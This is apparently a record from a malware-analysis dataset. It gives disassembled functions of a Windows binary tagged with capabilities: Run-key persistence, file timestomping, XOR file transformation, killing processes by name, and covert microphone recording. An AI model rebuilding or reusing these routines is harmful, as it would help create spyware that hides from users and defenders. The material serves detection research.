joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404280
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
nop
call fcn.00404140
mov dword [esp], eax
mov esi, eax
call sub.msvcrt.dll_strlen
mov ebx, eax
mov eax, dword [edi*4 + 0x5350a0]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
lea ecx, [ebx + eax + 8]
mov dword [esp], ecx
call fcn.004ef170
mov edx, dword [edi*4 + 0x5350a0]
mov ebx, eax
mov eax, 0x504580
mov dword [esp + 8], esi
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x40438a
test esi, esi
je 0x40430e
mov dword [esp], esi
call fcn.004ef210
test ebx, ebx
je 0x40431a
mov dword [esp], ebx
call fcn.004ef210
inc edi
cmp edi, 8
jl 0x4042a0
call fcn.00404140
mov esi, eax
call sub.msvcrt.dll_rand
mov ebx, 8
cdq
idiv ebx
mov ebx, dword [edx*4 + 0x5350a0]
mov dword [esp], esi
call sub.msvcrt.dll_strlen
mov dword [esp], ebx
mov edi, eax
call sub.msvcrt.dll_strlen
lea ecx, [edi + eax + 8]
mov dword [esp], ecx
call fcn.004ef170
mov dword [esp], eax
mov edx, 0x504580
mov edi, eax
mov dword [esp + 0xc], ebx
mov dword [esp + 8], esi
mov dword [esp + 4], edx
call sub.msvcrt.dll_sprintf
test esi, esi
je 0x404380
mov dword [esp], esi
call fcn.004ef210
lea esp, [ebp - 0xc]
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4043a0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
nop
call fcn.00404140
mov dword [esp], eax
mov esi, eax
call sub.msvcrt.dll_strlen
mov ebx, eax
mov eax, dword [edi*4 + 0x53504c]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
lea ecx, [ebx + eax + 8]
mov dword [esp], ecx
call fcn.004ef170
mov edx, dword [edi*4 + 0x53504c]
mov ebx, eax
mov eax, 0x504580
mov dword [esp + 8], esi
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x4044aa
test esi, esi
je 0x40442e
mov dword [esp], esi
call fcn.004ef210
test ebx, ebx
je 0x40443a
mov dword [esp], ebx
call fcn.004ef210
inc edi
cmp edi, 7
jl 0x4043c0
call fcn.00404140
mov esi, eax
call sub.msvcrt.dll_rand
mov ebx, 7
cdq
idiv ebx
mov ebx, dword [edx*4 + 0x53504c]
mov dword [esp], esi
call sub.msvcrt.dll_strlen
mov dword [esp], ebx
mov edi, eax
call sub.msvcrt.dll_strlen
lea ecx, [edi + eax + 8]
mov dword [esp], ecx
call fcn.004ef170
mov dword [esp], eax
mov edx, 0x504580
mov edi, eax
mov dword [esp + 0xc], ebx
mov dword [esp + 8], esi
mov dword [esp + 4], edx
call sub.msvcrt.dll_sprintf
test esi, esi
je 0x4044a0
mov dword [esp], esi
call fcn.004ef210
lea esp, [ebp - 0xc]
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4044c0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
nop
call fcn.00404140
mov dword [esp], eax
mov esi, eax
call sub.msvcrt.dll_strlen
mov ebx, eax
mov eax, dword [edi*4 + 0x53503c]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
lea ecx, [ebx + eax + 8]
mov dword [esp], ecx
call fcn.004ef170
mov edx, dword [edi*4 + 0x53503c]
mov ebx, eax
mov eax, 0x504580
mov dword [esp + 8], esi
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x4045ca
test esi, esi
je 0x40454e
mov dword [esp], esi
call fcn.004ef210
test ebx, ebx
je 0x40455a
mov dword [esp], ebx
call fcn.004ef210
inc edi
cmp edi, 4
jl 0x4044e0
call fcn.00404140
mov esi, eax
call sub.msvcrt.dll_rand
mov ebx, 4
cdq
idiv ebx
mov ebx, dword [edx*4 + 0x53503c]
mov dword [esp], esi
call sub.msvcrt.dll_strlen
mov dword [esp], ebx
mov edi, eax
call sub.msvcrt.dll_strlen
lea ecx, [edi + eax + 8]
mov dword [esp], ecx
call fcn.004ef170
mov dword [esp], eax
mov edx, 0x504580
mov edi, eax
mov dword [esp + 0xc], ebx
mov dword [esp + 8], esi
mov dword [esp + 4], edx
call sub.msvcrt.dll_sprintf
test esi, esi
je 0x4045c0
mov dword [esp], esi
call fcn.004ef210
lea esp, [ebp - 0xc]
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4045e0
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, 8
push esi
lea esi, [ebp - 0x10]
push ebx
sub esp, 0x1c
xor ebx, ebx
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
jmp 0x404616
inc ebx
cmp ebx, 8
jge 0x404690
mov dword [esp + 0x10], esi
xor edx, edx
mov ecx, 0x20019
mov dword [esp + 8], edx
mov eax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp + 0xc], ecx
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
mov edx, dword [ebp - 0x10]
sub esp, 0x14
test edx, edx
je 0x404610
xor eax, eax
xor ecx, ecx
mov dword [esp + 0x14], eax
xor eax, eax
mov dword [esp + 0x10], ecx
xor ecx, ecx
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
mov eax, dword [ebx*4 + 0x535080]
mov dword [esp], edx
mov dword [esp + 4], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
test eax, eax
je 0x4046a7
mov edx, dword [ebp - 0x10]
inc ebx
mov dword [esp], edx
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
cmp ebx, 8
jl 0x404616
mov esi, esi
call sub.msvcrt.dll_rand
cdq
idiv edi
mov eax, dword [edx*4 + 0x535080]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov esi, dword [ebp - 0x10]
mov dword [esp], esi
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov eax, dword [ebx*4 + 0x535080]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4046d0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x12c
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
call fcn.004044c0
mov dword [esp], eax
mov ebx, eax
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x404746
test ebx, ebx
je 0x404713
mov dword [esp], ebx
call fcn.004ef210
call sub.msvcrt.dll_rand
mov ebx, dword [0x5350e0]
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov dword [esp], eax
call fcn.004ef170
mov dword [esp], eax
mov esi, eax
mov dword [esp + 4], ebx
call sub.msvcrt.dll_strcpy
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], ebx
mov eax, 0x5045b6
mov dword [esp + 4], eax
call sub.msvcrt.dll_fopen
test eax, eax
mov esi, eax
je 0x404707
xor edx, edx
test byte [eax + 0xc], 0x10
mov dword [ebp - 0x11c], edx
jne 0x4047b3
lea edi, [ebp - 0x118]
jmp 0x404780
mov byte [ebp - 0x118], 0
mov eax, 0x5045b8
mov dword [esp + 8], edi
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.msvcrt.dll_fscanf
movzx ecx, byte [ebp - 0x118]
cmp ecx, 1
sbb dword [ebp - 0x11c], 0xffffffff
test byte [esi + 0xc], 0x10
je 0x404780
mov dword [esp], esi
xor ecx, ecx
xor edx, edx
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
call sub.msvcrt.dll_fseek
mov edi, dword [ebp - 0x11c]
test edi, edi
jle 0x40482a
mov dword [esp], 0x100
call fcn.004ef170
mov byte [eax], 0
mov edi, eax
call sub.msvcrt.dll_rand
cdq
idiv dword [ebp - 0x11c]
test edx, edx
js 0x404818
lea ebx, [edx + 1]
lea esi, [esi]
lea edi, [edi]
mov dword [esp + 8], edi
mov eax, 0x5045b8
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.msvcrt.dll_fscanf
dec ebx
jne 0x404800
mov dword [esp], esi
call sub.msvcrt.dll_fclose
lea esp, [ebp - 0xc]
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], esi
call sub.msvcrt.dll_fclose
jmp 0x404707

Function at 0x404840
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
push esi
push ebx
sub esp, 0x1c
movsx ebx, byte [ebp + 8]
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
mov dword [ebp - 0x14], ebx
lea esi, [esi]
lea edi, [edi]
mov dword [ebp - 0x10], esp
mov esi, dword [edi*4 + 0x535020]
mov dword [esp], esi
call sub.msvcrt.dll_strlen
add eax, 0x26
and eax, 0xfffffff0
call fcn.004f12a0
mov dword [esp + 0xc], esi
lea ebx, [esp + 0x1f]
mov eax, str._c:_s
mov edx, dword [ebp - 0x14]
and ebx, 0xfffffff0
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [esp + 8], edx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x4048e5
inc edi
cmp edi, 7
mov esp, dword [ebp - 0x10]
jl 0x404870
call sub.msvcrt.dll_rand
cdq
mov ecx, 7
idiv ecx
mov eax, dword [edx*4 + 0x535020]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [edi*4 + 0x535020]
mov esp, dword [ebp - 0x10]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x404bf0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov esi, dword [ebp + 0xc]
cmp byte [ebp + 0x10], 0
je 0x404c30
mov dword [esp], esi
mov eax, 0x5045d0
mov dword [esp + 4], eax
call sub.msvcrt.dll_fopen
test eax, eax
je 0x404c30
mov dword [esp], eax
call sub.msvcrt.dll_fclose
add esp, 0x1c
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov byte [ebp - 0xe], 0
mov ecx, 0x5045d2
mov dword [esp + 4], ecx
mov edx, dword [ebp + 8]
mov dword [esp], edx
call sub.msvcrt.dll_fopen
test eax, eax
mov ebx, eax
je 0x404cdc
mov dword [esp], esi
mov edi, 0x5045d5
mov dword [esp + 4], edi
call sub.msvcrt.dll_fopen
test eax, eax
mov edi, eax
je 0x404cd4
test byte [ebx + 0xc], 0x10
jne 0x404cc8
lea esi, [ebp - 0xd]
mov dword [ebp - 0x14], esi
lea esi, [esi]
lea edi, [edi]
mov dword [esp + 0xc], ebx
mov edx, 1
mov eax, 1
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov ecx, dword [ebp - 0x14]
mov dword [esp], ecx
call sub.msvcrt.dll_fread
mov dword [esp + 0xc], edi
mov edx, 1
mov eax, 1
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [ebp - 0x14], esi
mov dword [esp], esi
call sub.msvcrt.dll_fwrite
test byte [ebx + 0xc], 0x10
je 0x404c80
mov byte [ebp - 0xe], 1
mov dword [esp], edi
call sub.msvcrt.dll_fclose
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
movzx eax, byte [ebp - 0xe]
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x404cf0
Capabilities:
Query environment variable
Timestomp file

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xbc
mov dword [ebp - 0xb4], esp
mov dword [esp], str.SYSTEMROOT
call sub.msvcrt.dll_getenv
mov dword [esp], eax
call sub.msvcrt.dll_strlen
add eax, 0x3e
and eax, 0xfffffff0
call fcn.004f12a0
mov dword [esp], str.SYSTEMROOT
lea ebx, [esp + 0x1f]
and ebx, 0xfffffff0
call sub.msvcrt.dll_getenv
mov dword [esp + 8], eax
mov edx, str._s_notepad.exe
lea esi, [ebp - 0xa8]
mov dword [esp], ebx
mov dword [esp + 4], edx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
xor eax, eax
mov dword [esp + 8], eax
mov dword [esp + 4], esi
call sub.KERNEL32.dll_OpenFile
sub esp, 0xc
cmp eax, 0xffffffff
mov ebx, eax
je 0x404ddf
mov dword [esp], ebx
xor edi, edi
xor eax, eax
mov dword [esp + 8], edi
lea edi, [ebp - 0xb0]
mov dword [esp + 0xc], eax
mov dword [esp + 4], edi
call sub.KERNEL32.dll_GetFileTime
sub esp, 0x10
mov dword [esp], ebx
mov ebx, 2
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov dword [esp + 8], ebx
mov dword [esp + 4], esi
mov ecx, dword [ebp + 8]
mov dword [esp], ecx
call sub.KERNEL32.dll_OpenFile
sub esp, 0xc
cmp eax, 0xffffffff
mov ebx, eax
je 0x404ddf
mov dword [esp + 4], edi
xor edx, edx
xor esi, esi
mov dword [esp + 0xc], edx
mov dword [esp + 8], esi
mov dword [esp], eax
call sub.KERNEL32.dll_SetFileTime
sub esp, 0x10
mov dword [esp], ebx
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov esp, dword [ebp - 0xb4]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x405010
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov edx, 0x5045d2
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x405132
mov dword [esp], ebx
xor esi, esi
mov edi, 2
mov dword [esp + 8], edi
mov dword [esp + 4], esi
call sub.msvcrt.dll_fseek
mov dword [esp], ebx
call sub.msvcrt.dll_ftell
mov dword [esp], eax
mov edi, eax
call fcn.004ef170
mov dword [esp], ebx
xor ecx, ecx
mov esi, eax
mov dword [esp + 4], ecx
xor eax, eax
mov dword [esp + 8], eax
call sub.msvcrt.dll_fseek
mov dword [ebp - 0x10], 0
cmp dword [ebp - 0x10], edi
jge 0x4050c0
test byte [ebx + 0xc], 0x10
jne 0x4050c0
mov dword [esp + 0xc], ebx
mov edx, dword [ebp - 0x10]
mov ecx, 1
mov dword [esp + 8], ecx
mov eax, 1
mov dword [esp + 4], eax
lea ecx, [esi + edx]
mov dword [esp], ecx
call sub.msvcrt.dll_fread
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x405084
lea esi, [esi]
lea edi, [edi]
mov dword [esp], ebx
xor ebx, ebx
call sub.msvcrt.dll_fclose
xor ecx, ecx
jmp 0x4050ec
xor edx, edx
cmp ebx, dword [ebp + 0x14]
setl dl
neg edx
and edx, ebx
mov ebx, dword [ebp + 0x10]
movzx eax, byte [edx + ebx]
lea ebx, [edx + 1]
neg al
xor byte [ecx + esi], al
inc ecx
cmp ecx, edi
jl 0x4050d0
mov ecx, dword [ebp + 0xc]
mov edx, 0x5045d5
mov dword [esp + 4], edx
mov dword [esp], ecx
call sub.msvcrt.dll_fopen
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x405132
mov dword [esp + 8], edi
mov edi, 1
mov dword [esp + 0xc], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call sub.msvcrt.dll_fwrite
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
mov eax, 1
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x405250
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
xor esi, esi
push ebx
sub esp, 0x15c
mov dword [esp + 4], esi
mov dword [esp], 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
sub esp, 8
test eax, eax
mov edi, eax
je 0x405382
lea eax, [ebp - 0x148]
mov ebx, 0x128
mov dword [ebp - 0x148], ebx
mov dword [esp + 4], eax
mov dword [esp], edi
call sub.KERNEL32.dll_Process32First
sub esp, 8
test eax, eax
je 0x405377
mov dword [ebp - 0x14c], esp
lea ecx, [ebp - 0x124]
nop
mov esi, dword [ecx]
add ecx, 4
lea edx, [esi - 0x1010101]
not esi
and edx, esi
mov eax, edx
and eax, 0x80808080
je 0x4052b0
and edx, 0x8080
jne 0x4052d6
shr eax, 0x10
add ecx, 2
add al, al
lea ebx, [ebp - 0x124]
sbb ecx, 3
sub ecx, ebx
lea eax, [ecx + 0x1e]
and eax, 0xfffffff0
call fcn.004f12a0
lea ebx, [esp + 0x1b]
xor esi, esi
lea edx, [ebp - 0x124]
mov dword [esp + 4], edx
and ebx, 0xfffffff0
mov dword [esp], ebx
call sub.msvcrt.dll_strcpy
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
cmp esi, eax
jae 0x405341
lea esi, [esi]
lea edi, [edi]
movzx edx, byte [esi + ebx]
mov cl, dl
sub cl, 0x41
cmp cl, 0x19
ja 0x405334
add dl, 0x20
mov byte [esi + ebx], dl
mov dword [esp], ebx
inc esi
call sub.msvcrt.dll_strlen
cmp esi, eax
jb 0x405320
mov esi, dword [ebp + 8]
mov dword [esp], ebx
mov dword [esp + 4], esi
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x40538a
mov dword [esp], edi
lea ecx, [ebp - 0x148]
mov dword [esp + 4], ecx
call sub.KERNEL32.dll_Process32Next
sub esp, 8
mov esp, dword [ebp - 0x14c]
test eax, eax
jne 0x4052a3
mov dword [esp], edi
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [ebp - 0x140]
xor edx, edx
mov dword [esp + 4], edx
mov dword [esp], 1
mov dword [esp + 8], eax
call sub.KERNEL32.dll_OpenProcess
sub esp, 0xc
test eax, eax
je 0x405354
mov dword [esp], eax
xor ebx, ebx
mov dword [esp + 4], ebx
call sub.KERNEL32.dll_TerminateProcess
sub esp, 8
jmp 0x405354
Function at 0x4053c0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
xor eax, eax
mov ebp, esp
push ebx
sub esp, 0x24
mov ebx, dword [ebp + 0x14]
mov byte [ebp - 0xd], 0
mov edx, dword [ebp + 0x18]
jmp 0x4053da
mov byte [eax + ebx], 0
inc eax
cmp eax, edx
jl 0x4053d5
mov dword [ebp - 0xc], edx
xor ecx, ecx
lea edx, [ebp - 8]
mov dword [esp + 0x10], edx
mov eax, 0x20019
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
mov edx, dword [ebp + 0xc]
mov dword [esp + 4], edx
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegOpenKeyExA
mov edx, dword [ebp - 8]
sub esp, 0x14
test edx, edx
jne 0x40541c
movzx eax, byte [ebp - 0xd]
mov ebx, dword [ebp - 4]
leave
ret
mov dword [esp + 0x10], ebx
lea ecx, [ebp - 0xc]
xor eax, eax
mov dword [esp + 0x14], ecx
xor ecx, ecx
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
mov ebx, dword [ebp + 0x10]
mov dword [esp], edx
mov dword [esp + 4], ebx
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
test eax, eax
jne 0x40544d
mov byte [ebp - 0xd], 1
mov edx, dword [ebp - 8]
mov dword [esp], edx
call sub.ADVAPI32.DLL_RegCloseKey
movzx eax, byte [ebp - 0xd]
sub esp, 4
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x405470
Capabilities:
Set registry value

Disassembly:
push ebp
xor ecx, ecx
mov ebp, esp
push ebx
xor eax, eax
sub esp, 0x34
mov dword [esp + 0x20], ecx
lea edx, [ebp - 8]
mov ecx, 0x2001f
mov dword [esp + 0x1c], edx
xor edx, edx
xor ebx, ebx
mov dword [esp + 0x18], eax
xor eax, eax
mov dword [esp + 0x14], ecx
xor ecx, ecx
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
mov edx, dword [ebp + 0xc]
mov dword [esp + 4], edx
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCreateKeyExA
mov edx, dword [ebp - 8]
sub esp, 0x24
test edx, edx
jne 0x4054d0
movzx eax, bl
mov ebx, dword [ebp - 4]
leave
ret
mov eax, dword [ebp + 0x1c]
mov dword [esp + 0x14], eax
mov ecx, dword [ebp + 0x18]
mov dword [esp + 0x10], ecx
mov eax, dword [ebp + 0x10]
xor ecx, ecx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x14]
mov dword [esp], edx
mov dword [esp + 4], eax
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 0x18
test eax, eax
jne 0x405503
mov bl, 1
mov edx, dword [ebp - 8]
mov dword [esp], edx
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
movzx eax, bl
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x4058a0
Capabilities:
Create thread
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x13c
mov eax, dword [ebp + 8]
cmp byte [eax], 0
jne 0x4058bc
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], str.NUMBER_OF_PROCESSORS
call sub.msvcrt.dll_getenv
mov dword [esp], eax
call sub.msvcrt.dll_atoi
lea edi, [eax + eax*2]
test edi, edi
jne 0x4058dc
mov edi, 2
xor edx, edx
mov dword [ebp - 0x11c], edx
mov esi, 0x100
xor eax, eax
lea ecx, [ebp - 0x118]
mov dword [esp + 0x14], esi
mov esi, dword [ebp + 8]
mov edx, 0xa
mov dword [esp + 0x10], ecx
lea ebx, [ebp - 0x11c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.00404e90
test al, al
je 0x40597b
test edi, edi
jle 0x4058e4
mov esi, edi
mov dword [esp], 0x100
call fcn.004ef170
mov dword [esp], eax
mov ebx, eax
lea ecx, [ebp - 0x118]
mov dword [esp + 4], ecx
call sub.msvcrt.dll_strcpy
mov dword [esp + 0xc], ebx
xor edx, edx
xor eax, eax
mov dword [esp + 0x14], edx
xor ecx, ecx
mov ebx, 0x405830
mov dword [esp + 0x10], eax
mov dword [esp + 8], ebx
mov dword [esp + 4], ecx
mov dword [esp], 0
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
dec esi
jne 0x405925
jmp 0x4058e4
mov dword [esp], 0x3e8
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov dword [esp], 0x3e8
call sub.KERNEL32.dll_Sleep
sub esp, 4
jmp 0x40597b

Function at 0x406000
Capabilities:
Capture microphone audio

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov esi, dword [ebp + 8]
mov edi, esp
mov dword [esp], esi
call sub.msvcrt.dll_strlen
add eax, 0x3e
and eax, 0xfffffff0
call fcn.004f12a0
mov dword [esp], str.open_new_type_waveaudio_alias_mic_buffer_6
xor ecx, ecx
xor edx, edx
mov dword [esp + 8], ecx
xor eax, eax
lea ebx, [esp + 0x1f]
mov dword [esp + 4], edx
and ebx, 0xfffffff0
mov dword [esp + 0xc], eax
call sub.WINMM.DLL_mciSendStringA
sub esp, 0x10
xor ecx, ecx
xor edx, edx
mov dword [esp + 8], ecx
xor eax, eax
mov dword [esp + 4], edx
mov dword [esp + 0xc], eax
mov dword [esp], str.record_mic
call sub.WINMM.DLL_mciSendStringA
mov eax, dword [ebp + 0xc]
sub esp, 0x10
mov dword [esp], eax
call sub.KERNEL32.dll_Sleep
sub esp, 4
xor edx, edx
xor ecx, ecx
mov dword [esp + 8], edx
xor eax, eax
mov dword [esp + 0xc], ecx
mov dword [esp + 4], eax
mov dword [esp], str.stop_mic
call sub.WINMM.DLL_mciSendStringA
sub esp, 0x10
mov ecx, str.save_mic__s
mov dword [esp + 8], esi
xor esi, esi
mov dword [esp + 4], ecx
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp + 4], esi
xor edx, edx
xor eax, eax
mov dword [esp + 0xc], edx
mov dword [esp], ebx
mov dword [esp + 8], eax
call sub.WINMM.DLL_mciSendStringA
sub esp, 0x10
xor ecx, ecx
xor edx, edx
mov dword [esp + 0xc], ecx
xor eax, eax
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], str.close_mic
call sub.WINMM.DLL_mciSendStringA
sub esp, 0x10
mov esp, edi
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret